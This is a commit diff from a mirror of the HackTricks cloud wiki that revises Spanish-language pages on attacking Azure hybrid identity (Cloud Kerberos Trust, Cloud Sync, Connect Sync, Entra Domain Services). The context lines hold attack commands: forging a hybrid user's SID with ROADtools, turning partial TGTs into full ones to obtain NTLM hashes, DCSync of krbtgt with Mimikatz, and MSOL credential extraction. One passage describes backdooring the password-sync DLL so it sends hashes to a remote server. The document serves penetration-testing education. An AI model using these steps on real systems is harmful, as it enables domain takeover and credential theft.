mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Identifying the Issues
|
||||
### Identificando los Problemas
|
||||
|
||||
Azure Arc permite la integración de nuevos servidores internos (servidores unidos al dominio) en Azure Arc utilizando el método de Objeto de Directiva de Grupo. Para facilitar esto, Microsoft proporciona un kit de herramientas de implementación necesario para iniciar el procedimiento de incorporación. Dentro del archivo ArcEnableServerGroupPolicy.zip, se pueden encontrar los siguientes scripts: DeployGPO.ps1, EnableAzureArc.ps1 y AzureArcDeployment.psm1.
|
||||
Azure Arc permite la integración de nuevos servidores internos (servidores unidos al dominio) en Azure Arc utilizando el método de Objeto de Política de Grupo. Para facilitar esto, Microsoft proporciona un kit de herramientas de implementación necesario para iniciar el procedimiento de incorporación. Dentro del archivo ArcEnableServerGroupPolicy.zip, se pueden encontrar los siguientes scripts: DeployGPO.ps1, EnableAzureArc.ps1 y AzureArcDeployment.psm1.
|
||||
|
||||
Cuando se ejecuta, el script DeployGPO.ps1 realiza las siguientes acciones:
|
||||
|
||||
@@ -56,7 +56,7 @@ Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jbo
|
||||
|
||||
En este punto, podemos recopilar la información restante necesaria para conectarnos a Azure desde el archivo ArcInfo.json, que se almacena en el mismo recurso compartido de red que el archivo encryptedServicePrincipalSecret. Este archivo contiene detalles como: TenantId, servicePrincipalClientId, ResourceGroup, y más. Con esta información, podemos usar Azure CLI para autenticar como el service principal comprometido.
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Esta publicación es un resumen de** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **que se puede consultar para obtener más información sobre el ataque. Esta técnica también se comenta en** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
|
||||
@@ -31,7 +31,7 @@ roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(Alternativamente, se puede usar `Connect-AADInt` de AADInternals para autenticar como Administrador Global.)*
|
||||
|
||||
2. **Modificar los atributos On-Prem de un usuario híbrido:** Aprovechar la **API de sincronización** de Azure AD para establecer el **Identificador de Seguridad (SID)** y el **SAMAccountName** de un usuario híbrido elegido para que coincidan con la cuenta AD de destino. Esto le dice efectivamente a Azure AD que el usuario en la nube corresponde a la cuenta on-prem que queremos suplantar. Usando el kit de herramientas de código abierto **ROADtools Hybrid**:
|
||||
2. **Modificar los atributos on-prem de un usuario híbrido:** Aprovechar la **API de sincronización de Azure AD** para establecer el **Identificador de Seguridad (SID)** y el **SAMAccountName onPremises** de un usuario híbrido elegido para que coincidan con la cuenta AD de destino. Esto le indica efectivamente a Azure AD que el usuario en la nube corresponde a la cuenta on-prem que queremos suplantar. Usando el kit de herramientas de código abierto **ROADtools Hybrid**:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
@@ -40,7 +40,7 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
```
|
||||
> Se necesita el `sourceAnchor` (ID inmutable) del usuario para identificar el objeto de Azure AD que se va a modificar. La herramienta establece el SID local del usuario híbrido y el nombre de cuenta SAM a los valores del objetivo (por ejemplo, el SID y SAM de la cuenta MSOL_xxxx). Azure AD normalmente no permite alterar estos atributos a través de Graph (son de solo lectura), pero la API del servicio de sincronización lo permite y los administradores globales pueden invocar esta funcionalidad de sincronización.
|
||||
|
||||
3. **Obtener un TGT parcial de Azure AD:** Después de la modificación, autentíquese como el usuario híbrido en Azure AD (por ejemplo, obteniendo un PRT en un dispositivo o usando sus credenciales). Cuando el usuario inicia sesión (especialmente en un dispositivo con dominio unido o unido a Entra), Azure AD emitirá un **TGT Kerberos parcial (TGT**<sub>**AD**</sub>) para esa cuenta porque Cloud Kerberos Trust está habilitado. Este TGT parcial está cifrado con la clave RODC AzureADKerberos$ e incluye el **SID objetivo** que establecimos. Podemos simular esto solicitando un PRT para el usuario a través de ROADtools:
|
||||
3. **Obtener un TGT parcial de Azure AD:** Después de la modificación, autentíquese como el usuario híbrido en Azure AD (por ejemplo, obteniendo un PRT en un dispositivo o usando sus credenciales). Cuando el usuario inicia sesión (especialmente en un dispositivo con dominio unido o unido a Entra), Azure AD emitirá un **TGT Kerberos parcial (TGT**<sub>**AD**</sub>) para esa cuenta porque Cloud Kerberos Trust está habilitado. Este TGT parcial está cifrado con la clave RODC de AzureADKerberos$ e incluye el **SID objetivo** que configuramos. Podemos simular esto solicitando un PRT para el usuario a través de ROADtools:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
@@ -51,7 +51,7 @@ Esto genera un archivo `.prt` que contiene el TGT parcial y la clave de sesión.
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
Este script (o equivalentes de Impacket) contactará al Controlador de Dominio y recuperará un TGT válido para la cuenta AD objetivo, incluyendo el hash NTLM de la cuenta si se utiliza la extensión Kerberos especial. La extensión **`KERB-KEY-LIST-REQ`** se incluye automáticamente para pedir al DC que devuelva el hash NTLM de la cuenta objetivo en la respuesta encriptada. El resultado es un caché de credenciales (`full_tgt.ccache`) para la cuenta objetivo *o* el hash de la contraseña NTLM recuperado.
|
||||
Este script (o equivalentes de Impacket) contactará al Controlador de Dominio y recuperará un TGT válido para la cuenta AD objetivo, incluyendo el hash NTLM de la cuenta si se utiliza la extensión Kerberos especial. La extensión **`KERB-KEY-LIST-REQ`** se incluye automáticamente para pedir al DC que devuelva el hash NTLM de la cuenta objetivo en la respuesta encriptada. El resultado es un caché de credenciales (`full_tgt.ccache`) para la cuenta objetivo *o* el hash de contraseña NTLM recuperado.
|
||||
|
||||
5. **Impersonar al objetivo y elevar a administrador de dominio:** Ahora el atacante efectivamente **controla la cuenta AD objetivo**. Por ejemplo, si el objetivo era la cuenta **MSOL** de AD Connect, tiene derechos de replicación en el directorio. El atacante puede realizar un ataque **DCSync** utilizando las credenciales de esa cuenta o el TGT de Kerberos para volcar los hashes de contraseñas de AD (incluyendo la cuenta KRBTGT del dominio). Por ejemplo:
|
||||
```bash
|
||||
@@ -72,4 +72,4 @@ Esto volcará todos los hashes de contraseñas de usuarios de AD, dando al ataca
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
@@ -23,7 +22,7 @@ Para que esto funcione, se crean algunos principales tanto en Entra ID como en e
|
||||
- En el AD, se crea la Cuenta de Servicio **`provAgentgMSA`** con un SamAccountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), o una personalizada con [**estos permisos son necesarios**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Generalmente se crea la predeterminada.
|
||||
|
||||
> [!WARNING]
|
||||
> Entre otros permisos, la Cuenta de Servicio **`provAgentgMSA`** tiene permisos DCSync, lo que permite **a cualquiera que la comprometa comprometer todo el directorio**. Para más información sobre [DCSync consulta esto](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
> Entre otros permisos, la Cuenta de Servicio **`provAgentgMSA`** tiene permisos DCSync, lo que permite **que cualquiera que la comprometa comprometa todo el directorio**. Para más información sobre [DCSync consulta esto](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Por defecto, los usuarios de grupos privilegiados conocidos como Administradores de Dominio con el atributo **`adminCount` a 1 no son sincronizados** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente **pueden ser sincronizados**.
|
||||
@@ -38,14 +37,13 @@ az-connect-sync.md
|
||||
|
||||
- **La sincronización de hash de contraseñas** se puede habilitar para que los usuarios puedan **iniciar sesión en Entra ID usando sus contraseñas de AD**. Además, cada vez que se modifica una contraseña en AD, se actualizará en Entra ID.
|
||||
- **La escritura de contraseñas** también se puede habilitar, permitiendo a los usuarios modificar su contraseña en Entra ID sincronizando automáticamente su contraseña en el dominio local. Pero según la [documentación actual](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para esto es necesario usar el Agente Connect, así que echa un vistazo a la [sección Az Connect Sync](./az-connect-sync.md) para más información.
|
||||
- **Escritura de grupos**: Esta función permite que las membresías de grupos de Entra ID se sincronicen de vuelta al AD local. Esto significa que si un usuario es agregado a un grupo en Entra ID, también será agregado al grupo correspondiente en AD.
|
||||
- **La escritura de grupos**: Esta función permite que las membresías de grupos de Entra ID se sincronicen de vuelta al AD local. Esto significa que si un usuario es agregado a un grupo en Entra ID, también será agregado al grupo correspondiente en AD.
|
||||
|
||||
|
||||
## Pivotar
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Si los usuarios de AD están siendo sincronizados desde AD a Entra ID, pivotar de AD a Entra ID es sencillo, solo **compromete la contraseña de algún usuario o cambia la contraseña de algún usuario o crea un nuevo usuario y espera hasta que se sincronice en el directorio de Entra ID (generalmente solo unos minutos)**.
|
||||
- Si los usuarios de AD están siendo sincronizados de AD a Entra ID, el pivoting de AD a Entra ID es directo, solo **compromete la contraseña de algún usuario o cambia la contraseña de algún usuario o crea un nuevo usuario y espera hasta que se sincronice en el directorio de Entra ID (generalmente solo unos minutos)**.
|
||||
|
||||
Así que podrías, por ejemplo:
|
||||
- Comprometer la cuenta **`provAgentgMSA`**, realizar un ataque DCSync, descifrar la contraseña de algún usuario y luego usarla para iniciar sesión en Entra ID.
|
||||
@@ -89,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Con respecto a la persistencia, [esta publicación de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugiere que es posible usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para crear un backdoor en el dll **`Microsoft.Online.Passwordsynchronisation.dll`** ubicado en **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que es utilizado por el agente de Cloud Sync para realizar la sincronización de contraseñas, haciendo que exfiltre los hashes de contraseñas de los usuarios que están siendo sincronizados a un servidor remoto. Los hashes se generan dentro de la clase **`PasswordHashGenerator`** y la publicación del blog sugiere agregar algo de código para que la clase se vea así (nota el `use System.Net` y el uso de `WebClient` para exfiltrar los hashes de contraseñas):
|
||||
Con respecto a la persistencia, [esta publicación de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugiere que es posible usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para crear una puerta trasera en el dll **`Microsoft.Online.Passwordsynchronisation.dll`** ubicado en **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que es utilizado por el agente de Cloud Sync para realizar la sincronización de contraseñas, haciendo que exfiltre los hashes de contraseñas de los usuarios que están siendo sincronizados a un servidor remoto. Los hashes se generan dentro de la clase **`PasswordHashGenerator`** y la publicación del blog sugiere agregar algo de código para que la clase se vea así (nota el `use System.Net` y el uso de `WebClient` para exfiltrar los hashes de contraseñas):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -133,10 +131,10 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
|
||||
|
||||
- En este momento, Cloud Sync también permite **"Microsoft Entra ID to AD"**, pero después de mucho tiempo descubrí que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y provienen de un dominio que pertenece al mismo bosque de dominio que el dominio al que nos estamos sincronizando, como puedes leer en [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Estos grupos solo pueden contener usuarios sincronizados en las instalaciones y / o grupos de seguridad adicionales creados en la nube.
|
||||
> - Las cuentas de usuario en las instalaciones que están sincronizadas y son miembros de este grupo de seguridad creado en la nube, pueden ser del mismo dominio o de dominio cruzado, pero todos deben ser del mismo bosque.
|
||||
> - Estos grupos solo pueden contener usuarios sincronizados locales y / o grupos de seguridad adicionales creados en la nube.
|
||||
> - Las cuentas de usuario locales que están sincronizadas y son miembros de este grupo de seguridad creado en la nube, pueden ser del mismo dominio o de dominio cruzado, pero todos deben ser del mismo bosque.
|
||||
|
||||
Por lo tanto, la superficie de ataque (y utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde donde se están sincronizando los usuarios para comprometer a un usuario en el otro dominio (y ambos deben estar en el mismo bosque aparentemente).
|
||||
Por lo tanto, la superficie de ataque (y utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde donde se están sincronizando los usuarios para comprometer a un usuario en el otro dominio (y ambos deben estar aparentemente en el mismo bosque).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -150,4 +148,4 @@ az rest \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) es un componente principal de Microsoft Entra Connect. Se encarga de todas las operaciones relacionadas con la sincronización de datos de identidad entre su entorno local y Microsoft Entra ID.
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Los servicios de sincronización de Microsoft Entra Connect (Microsoft Entra Connect Sync) son un componente principal de Microsoft Entra Connect. Se encarga de todas las operaciones relacionadas con la sincronización de datos de identidad entre su entorno local y Microsoft Entra ID.
|
||||
|
||||
Para usarlo, es necesario instalar el **`Microsoft Entra Connect Sync`** agente en un servidor dentro de su entorno AD. Este agente será el encargado de la sincronización desde el lado de AD.
|
||||
Para usarlo, es necesario instalar el **`Microsoft Entra Connect Sync`** agente en un servidor dentro de su entorno de AD. Este agente será el encargado de la sincronización desde el lado de AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -18,7 +18,7 @@ az-cloud-sync.md
|
||||
|
||||
### Principales Generados
|
||||
|
||||
- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Directory Synchronization Accounts** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
|
||||
- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
|
||||
- Esto significa que cualquier persona que comprometa esta cuenta podrá comprometer el dominio local.
|
||||
- Se crea una cuenta de servicio administrada **`ADSyncMSA<id>`** en el AD local sin privilegios especiales por defecto.
|
||||
- En Entra ID, se crea el Principal de Servicio **`ConnectSyncProvisioning_ConnectSync_<id>`** con un certificado.
|
||||
@@ -27,13 +27,13 @@ az-cloud-sync.md
|
||||
|
||||
### Sincronización de Hash de Contraseña
|
||||
|
||||
Este componente también se puede usar para **sincronizar contraseñas de AD en Entra ID** para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hash de contraseña en el agente Microsoft Entra Connect Sync instalado en un servidor AD.
|
||||
Este componente también se puede usar para **sincronizar contraseñas de AD en Entra ID** para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hash de contraseña en el agente de Microsoft Entra Connect Sync instalado en un servidor de AD.
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
|
||||
|
||||
Básicamente, todos los **usuarios** y un **hash de los hashes de contraseña** se sincronizan desde el local a Azure AD. Sin embargo, **las contraseñas en texto claro** o los **hashes originales** no se envían a Azure AD.
|
||||
Básicamente, todos los **usuarios** y un **hash de los hashes de contraseña** se sincronizan desde el local a Azure AD. Sin embargo, las **contraseñas en texto claro** o los **hashes** **originales** no se envían a Azure AD.
|
||||
|
||||
La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, **la expiración de contraseñas** y **la expiración de cuentas** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña local ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua.
|
||||
La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, la **expiración de contraseñas** y la **expiración de cuentas** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña local ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua.
|
||||
|
||||
Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**.
|
||||
|
||||
@@ -50,7 +50,7 @@ Los administradores de dominio y otros usuarios que pertenecen a algunos grupos
|
||||
|
||||
- Usuarios asignados altos privilegios directamente.
|
||||
- Usuarios del grupo **`DNSAdmins`**.
|
||||
- Usuarios del grupo **`Group Policy Creator Owners`** que han creado GPOs y las han asignado a OUs podrán modificar los GPOs que crearon.
|
||||
- Usuarios del grupo **`Group Policy Creator Owners`** que han creado GPOs y les han asignado a OUs podrán modificar los GPOs que crearon.
|
||||
- Usuarios del **`Cert Publishers Group`** que pueden publicar certificados en Active Directory.
|
||||
- Usuarios de cualquier otro grupo con altos privilegios sin el **atributo `adminCount` a 1**.
|
||||
|
||||
@@ -58,7 +58,7 @@ Los administradores de dominio y otros usuarios que pertenecen a algunos grupos
|
||||
|
||||
### Enumerando Connect Sync
|
||||
|
||||
Verificar usuarios:
|
||||
Verifique los usuarios:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
@@ -94,7 +94,7 @@ La **configuración encriptada** está encriptada con **DPAPI** y contiene las *
|
||||
|
||||
Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Abusando de MSOL\_*
|
||||
### Abusando de MSOL\_\*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
@@ -112,7 +112,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Los ataques anteriores comprometieron la otra contraseña para luego conectarse al usuario de Entra ID llamado `Sync_*` y luego comprometer Entra ID. Sin embargo, este usuario ya no existe.
|
||||
> Ataques anteriores comprometieron la otra contraseña para luego conectarse al usuario de Entra ID llamado `Sync_*` y luego comprometer Entra ID. Sin embargo, este usuario ya no existe.
|
||||
|
||||
### Abusando ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
@@ -120,12 +120,12 @@ Esta aplicación se crea sin tener asignados roles de gestión de Entra ID o Azu
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft password reset service
|
||||
- Servicio de restablecimiento de contraseña de Microsoft
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Se menciona que el SP de esta aplicación aún se puede usar para realizar algunas acciones privilegiadas utilizando una API no documentada, pero hasta donde sé, no se ha encontrado ninguna PoC.\
|
||||
Se menciona que el SP de esta aplicación aún se puede utilizar para realizar algunas acciones privilegiadas utilizando una API no documentada, pero hasta donde sé, no se ha encontrado ninguna PoC.\
|
||||
En cualquier caso, pensando que esto podría ser posible, sería interesante explorar más a fondo cómo encontrar el certificado para iniciar sesión como este principal de servicio y tratar de abusar de él.
|
||||
|
||||
Esta [entrada de blog](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) se publicó poco antes del cambio de usar el usuario `Sync_*` a este principal de servicio, explicó que el certificado se almacenaba dentro del servidor y era posible encontrarlo, generar PoP (Prueba de Posesión) de él y token gráfico, y con esto, poder agregar un nuevo certificado al principal de servicio (porque un **principal de servicio** siempre puede asignarse nuevos certificados) y luego usarlo para mantener la persistencia como el SP.
|
||||
@@ -188,7 +188,7 @@ seamless-sso.md
|
||||
## Pivotando Entra ID --> AD
|
||||
|
||||
- Si la escritura de contraseñas está habilitada, puedes **modificar la contraseña de cualquier usuario en el AD** que esté sincronizado con Entra ID.
|
||||
- Si la escritura de grupos está habilitada, puedes **agregar usuarios a grupos privilegiados** en Entra ID que estén sincronizados con el AD.
|
||||
- Si la escritura de grupos está habilitada, puedes **agregar usuarios a grupos privilegiados** en Entra ID que están sincronizados con el AD.
|
||||
|
||||
## Referencias
|
||||
|
||||
@@ -199,4 +199,4 @@ seamless-sso.md
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Servicios de Dominio
|
||||
|
||||
Microsoft Entra Domain Services permite desplegar un Active Directory en Azure sin necesidad de gestionar Controladores de Dominio (de hecho, ni siquiera tienes acceso a ellos).
|
||||
|
||||
Su objetivo principal es permitirte ejecutar aplicaciones heredadas en la nube que no pueden utilizar métodos de autenticación modernos, o donde no deseas que las búsquedas de directorio siempre regresen a un entorno de AD DS local.
|
||||
Su objetivo principal es permitirte ejecutar aplicaciones heredadas en la nube que no pueden utilizar métodos de autenticación modernos, o donde no deseas que las búsquedas de directorio siempre regresen a un entorno AD DS local.
|
||||
|
||||
Ten en cuenta que para sincronizar los usuarios generados en Entra ID (y no sincronizados desde otros directorios activos) al servicio de dominio AD, necesitas **cambiar la contraseña del usuario** a una nueva para que pueda ser sincronizada con el nuevo AD. De hecho, el usuario no se sincroniza desde Microsoft Entra ID a los Servicios de Dominio hasta que se cambia la contraseña.
|
||||
|
||||
@@ -18,7 +18,7 @@ Ten en cuenta que para sincronizar los usuarios generados en Entra ID (y no sinc
|
||||
|
||||
### Pivoting
|
||||
|
||||
Los miembros del grupo generado **`AAD DC Administrators`** tienen permisos de administrador local en las VMs que están unidas al dominio gestionado (pero no en los controladores de dominio) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar **Escritorio Remoto para conectarse de forma remota a VMs unidas al dominio**, y también son miembros de los grupos:
|
||||
Los miembros del grupo **`AAD DC Administrators`** tienen permisos de administrador local en las máquinas virtuales que están unidas al dominio gestionado (pero no en los controladores de dominio) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar **Escritorio Remoto para conectarse de forma remota a las máquinas virtuales unidas al dominio**, y también son miembros de los grupos:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Este es un grupo que especifica usuarios y grupos cuyas contraseñas no pueden ser almacenadas en caché en RODCs (Controladores de Dominio de Solo Lectura).
|
||||
- **`Group Policy Creators Owners`**: Este grupo permite a los miembros crear Políticas de Grupo en el dominio. Sin embargo, sus miembros no pueden aplicar políticas de grupo a usuarios o grupos ni editar GPOs existentes, por lo que no es tan interesante en este entorno.
|
||||
@@ -30,11 +30,11 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Tenga en cuenta que para otorgar estos permisos, dentro de AD el grupo **`AAD DC Administrators`** se convierte en miembro de los grupos anteriores, y también la GPO **`AADDC Computers GPO`** agrega como Administradores Locales a todos los miembros del grupo de dominio **`AAD DC Administrators`**.
|
||||
Tenga en cuenta que para otorgar estos permisos, dentro de AD el grupo **`AAD DC Administrators`** se convierte en miembro de los grupos anteriores, y también el GPO **`AADDC Computers GPO`** agrega como Administradores Locales a todos los miembros del grupo de dominio **`AAD DC Administrators`**.
|
||||
|
||||
El pivoteo de Entra ID a un AD creado con Domain Services es sencillo, solo agregue un usuario al grupo **`AAD DC Administrators`**, acceda a través de RDP a cualquiera/todas las máquinas en el dominio y podrá robar datos y también **comprometer el dominio.**
|
||||
El pivoteo desde Entra ID a un AD creado con Domain Services es sencillo, solo agregue un usuario al grupo **`AAD DC Administrators`**, acceda a través de RDP a cualquier/todas las máquinas en el dominio y podrá robar datos y también **comprometer el dominio.**
|
||||
|
||||
Sin embargo, el pivoteo del dominio a Entra ID no es tan fácil, ya que nada del dominio se está sincronizando en Entra ID. Sin embargo, siempre verifique los metadatos de todas las VMs unidas, ya que sus identidades administradas asignadas podrían tener permisos interesantes. También **extraiga todas las contraseñas de los usuarios del dominio** e intente crackearlas para luego iniciar sesión en Entra ID / Azure.
|
||||
Sin embargo, el pivoteo desde el dominio a Entra ID no es tan fácil, ya que nada del dominio se está sincronizando en Entra ID. Sin embargo, siempre verifique los metadatos de todas las VMs unidas, ya que sus identidades administradas asignadas podrían tener permisos interesantes. También **extraiga todas las contraseñas de los usuarios del dominio** e intente crackearlas para luego iniciar sesión en Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Tenga en cuenta que en el pasado se encontraron otras vulnerabilidades en este AD administrado que permitieron comprometer los DC, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un atacante que comprometa el DC podría mantener fácilmente la persistencia sin que los administradores de Azure se den cuenta o incluso puedan eliminarla.
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
